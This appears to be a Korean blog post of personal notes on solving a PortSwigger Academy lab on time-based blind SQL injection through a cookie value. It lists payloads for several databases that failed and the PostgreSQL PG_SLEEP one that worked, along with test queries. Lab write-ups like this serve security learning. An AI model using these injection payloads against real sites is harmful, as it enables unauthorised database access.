Dork's port

SQL-injection - Blind SQL injection with time delays 본문

portswigger-academy

SQL-injection - Blind SQL injection with time delays

Dork94 2020. 7. 14. 16:28
  • 이번에는 Time delay 를 이용해서 blind injection을 하는 문제
  • 마찬가지로 Cookie에 취약점이 존재 함
  • Jyo5LYnEFMw7YpXx' UNION SELECT SLEEP(10)-- 이 되지 않음.
  • Jyo5LYnEFMw7YpXx' UNION SELECT PG_SLEEP(10)-- 도 되지 않음.
  • Jyo5LYnEFMw7YpXx' UNION WAITFOR DELAY '0:0:10'-- 도 되지 않음
  • Jyo5LYnEFMw7YpXx' UNION dbms_pipe.receive_message(('a'),10)-- 도 되지 않음
  • 음.. 데이터 베이스의 가능한 조건을 모두 해봤는데, 되지 않는거보니 다른 취약점이 있거나 무언가 잘못하고 있는 것 같다.
  • 클라이언트에서 무슨 필터가 있는 것도 아닌 것 같은게 네트워크 트래픽에서 입력한 raw 데이터가 그대로 전달 되는 것을 확인할 수 있었다.
  • 오랜만에 하다보니 UNION 의 제약 조건에 대해 잊고 있었는되는데, column의 수가 일치해야 한다. 따라서, NULL을 통해 갯수를 추측하면서해보자.
  • 내가 가진 Mysql을 이용하면 SELECT * from user or SLEEP(10) 과 같은 쿼리가 정상적으로 동작해서 해보니, 이 문제엔 적용이 되지 않는다.
  • 어떻게 풀긴했는데 이상하다. x' || PG_SLEEP(5)-- 이렇게 했는데 문제에서는 10초이상을 요구함에도 불구하고, 클리어가 됐다는 점과, 위의 문장을 https://rextester.com/l/postgresql_online_compiler 에 컴파일 해봤을때는 에러가 뜨는데 왜 되는거지..
  • select '1' where 'a'='a' || PG_SLEEP(10); 이렇게 하면되네.. SELECT PG_SLEEP 과 같이해서 그렇다. cheat sheet 를 보다보니 한듯.
  • or 을 이용하고싶어서 select '1' where 'a'='a' or PG_SLEEP(10) 을 실행해보니 argument of OR must be type boolean, not type void 가 떠서 방법을 생각해보다가 select '1' where 'a'='a' or PG_SLEEP(10) IS NULL; 를 이용해서 해보았더니 페이지의 서버상에는 delay가 되지 않았는데, portswigger 페이지에서는 정상적으로 delay가 되었다.
  • 앞으로 이와 같은 문제는 이렇게 풀어야지.
Comments